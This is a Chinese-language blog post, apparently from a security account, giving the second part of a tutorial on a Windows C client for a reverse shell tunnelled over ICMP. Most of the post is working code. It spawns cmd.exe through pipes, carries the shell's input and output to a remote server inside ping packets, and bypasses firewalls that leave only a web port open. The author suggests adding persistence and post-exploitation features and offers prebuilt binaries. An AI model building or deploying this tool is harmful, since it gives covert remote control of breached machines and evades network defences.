千呼万唤始出来~~~
从上一篇ICMP协议弹shell的server开发文章后,团队抽空打了几场小比赛,做了几个小Hvv,直到今天才抽空继续把client带给大家。
上篇文章地址:C语言写另类绕墙弹shell之ICMP协议(上)
上一篇文章很多小伙伴没明白为什么要用ICMP协议,这么做的目的是什么,这里我解答一下。
比如一个资产对外出口,只开放了一个80web的端口,即便你拿下了webshell,但是想要弹shell或者其他交互,你都需要在标靶上开通一个端口来跟你进行通信,但是出口只放了一个正在使用的端口,这个时候,ICMP通信就起到作用了。很多时候,很多资产是不会去主动禁用ICMP的,也就是我们所谓的禁ping,那么我们使用ICMP协议就能够不开通任何其他端口的情况下进行数据交互了。这样也是绕过安全策略通信的一种灰常灰常有效滴方法!
废话不多说,开始今天的client的编写,同样是使用C语言。
首先写任何程序之前,逻辑我们先梳理清楚。
1、需要把shell交互过来,肯定是要先建立一个shell的管道;
2、构建ICMP的文件、通道、缓冲区等等;
3、循环发送shell管道数据和接收sever指令数据直到接收到结束指令。
0x01 首先需要加载几个windows的系统函数
int load_deps()
{
HMODULE lib;
lib = LoadLibraryA("ws2_32.dll");
if (lib != NULL) {
to_ip = GetProcAddress(lib, "inet_addr");
if (!to_ip) {
return 0;
}
}
lib = LoadLibraryA("iphlpapi.dll");
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
lib = LoadLibraryA("ICMP.DLL");
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
printf("无法加载函数 (%u)", GetLastError());
return 0;
}
这里用到了三个dll,里面API函数具体是干什么的可以自行去查文档,这里就不详细说明了。
0x02 创建shell的通信管道
SECURITY_ATTRIBUTES sattr;
STARTUPINFOA si;
HANDLE in_read, out_write;
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
sattr.bInheritHandle = TRUE;
sattr.lpSecurityDescriptor = NULL;
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
注意,这里是创建一个跟cmd通信的管道,不是跟server的ICMP通讯
0x03 创建流程,这里直接调用CMD
memset(&si, 0x00, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdError = out_write;
si.hStdOutput = out_write;
si.hStdInput = in_read;
si.dwFlags |= STARTF_USESTDHANDLES;
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
return STATUS_PROCESS_NOT_CREATED;
}
CloseHandle(out_write);
CloseHandle(in_read);
return STATUS_OK;
用通俗的话说,就是打开一个cmd然后建立管道和他进行数据通信。
0x04 写个函数来处理ICMP的数据
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{
int rs;
char *temp_in_buf;
int nbytes;
PICMP_ECHO_REPLY echo_reply;
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
if (!temp_in_buf) {
return TRANSFER_FAILURE;
}
//将数据发送到远程主机
rs = icmp_send(
icmp_chan,
target,
out_buf,
out_buf_size,
NULL,
temp_in_buf,
max_in_data_size + ICMP_HEADERS_SIZE,
timeout);
//检查接收到的数据
if (rs > 0) {
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
if (echo_reply->DataSize > max_in_data_size) {
nbytes = max_in_data_size;
} else {
nbytes = echo_reply->DataSize;
}
memcpy(in_buf, echo_reply->Data, nbytes);
*in_buf_size = nbytes;
free(temp_in_buf);
return TRANSFER_SUCCESS;
}
free(temp_in_buf);
return TRANSFER_FAILURE;
}
正常的ICMP数据,就是我们说的ping包,需要我们对接收发送的数据进行自定义处理,才能达到我们自定义数据交互的目的,所以单独用一个函数来处理这些数据。
0x05 开始写main函数
//创建icmp通道
create_icmp_channel(&icmp_chan);
if (icmp_chan == INVALID_HANDLE_VALUE) {
printf("无法创建ICMP文件:%u\n", GetLastError());
return -1;
}
//分配传输缓冲区
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
if (!in_buf || !out_buf) {
printf("无法为传输缓冲区分配内存\n");
return -1;
}
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
首先肯定是创建ICMP通道,然后分配缓冲区。
接着用do while循环创建一个发送和接收的回路
blanks = 0;
do {
switch(status) {
case STATUS_SINGLE:
//用静态字符串答复
out_buf_size = sprintf(out_buf, "Test1234\n");
break;
case STATUS_PROCESS_NOT_CREATED:
//回复错误消息
out_buf_size = sprintf(out_buf, "未创建进程\n");
break;
default:
//通过管道从过程中读取数据
out_buf_size = 0;
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
if (out_buf_size > 0) {
out_buf_size = 0;
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
if (!rs && GetLastError() != ERROR_IO_PENDING) {
out_buf_size = sprintf(out_buf, "错误:ReadFile %i 失败\n", GetLastError());
}
}
} else {
out_buf_size = sprintf(out_buf, "错误:PeekNamedPipe %i 失败\n", GetLastError());
}
break;
}
//发送请求/接收响应
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
if (status == STATUS_OK) {
//将响应中的数据写入管道
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
}
blanks = 0;
} else {
//未收到回复或出现错误
blanks++;
}
//在请求之间等待
Sleep(delay);
} while (status == STATUS_OK && blanks < max_blanks);
至此,核心的逻辑代码我们就编写完成了,至于一些更友好的参数交互方式等等,大家根据个人需求可以自行拓展。
这里举个例子,比如写一个参数交互。
先写一个使用方法的说明
void usage(char *path)
{
printf("%s [选项] -t 目标\n", path);
printf("选项:\n");
printf(" -h 帮助\n");
printf(" -t 主机地址 发送ping请求的主机ip地址\n");
printf(" -r 发送单个测试icmp请求,然后退出\n");
printf(" -d 毫秒 请求之间的延迟(毫秒) (默认值为 %u)\n", DEFAULT_DELAY);
printf(" -o 毫秒 超时(毫秒)\n");
printf(" -b 响应数 最大未响应数(未响应的icmp请求)\n");
printf(" 达到最大未响应数则退出\n");
printf(" -s 字节数 最大数据缓冲区大小(以字节为单位)(默认值为64字节)\n\n", DEFAULT_MAX_DATA_SIZE);
printf("为了提高速度,降低请求之间的延迟(-d)或\n");
printf("增加数据缓冲区的大小(-s)\n");
}
然后在main函数里面判断参数是否为空或者合法
for (opt = 1; opt < argc; opt++) {
if (argv[opt][0] == '-') {
switch(argv[opt][1]) {
case 'h':
usage(*argv);
return 0;
case 't':
if (opt + 1 < argc) {
target = argv[opt + 1];
}
break;
case 'd':
if (opt + 1 < argc) {
delay = atol(argv[opt + 1]);
}
break;
case 'o':
if (opt + 1 < argc) {
timeout = atol(argv[opt + 1]);
}
break;
case 'r':
status = STATUS_SINGLE;
break;
case 'b':
if (opt + 1 < argc) {
max_blanks = atol(argv[opt + 1]);
}
break;
case 's':
if (opt + 1 < argc) {
max_data_size = atol(argv[opt + 1]);
}
break;
default:
printf("无法识别的选项 -%c\n", argv[1][0]);
usage(*argv);
return -1;
}
}
}
这些功能大家都可以继续进行拓展,例如一些潜伏控制啊,后渗透等等等等的功能~~~~~
------可爱的分割线------
打包一个成品送给大家。
编译了win32和win64的client,server我只编译了amd64的linux,至于需要32位或者arm的,可以自行编译。
具体演示可以看上篇~~
关注本公众号,回复 ICMP 即可获取下载连接 (●'◡'●)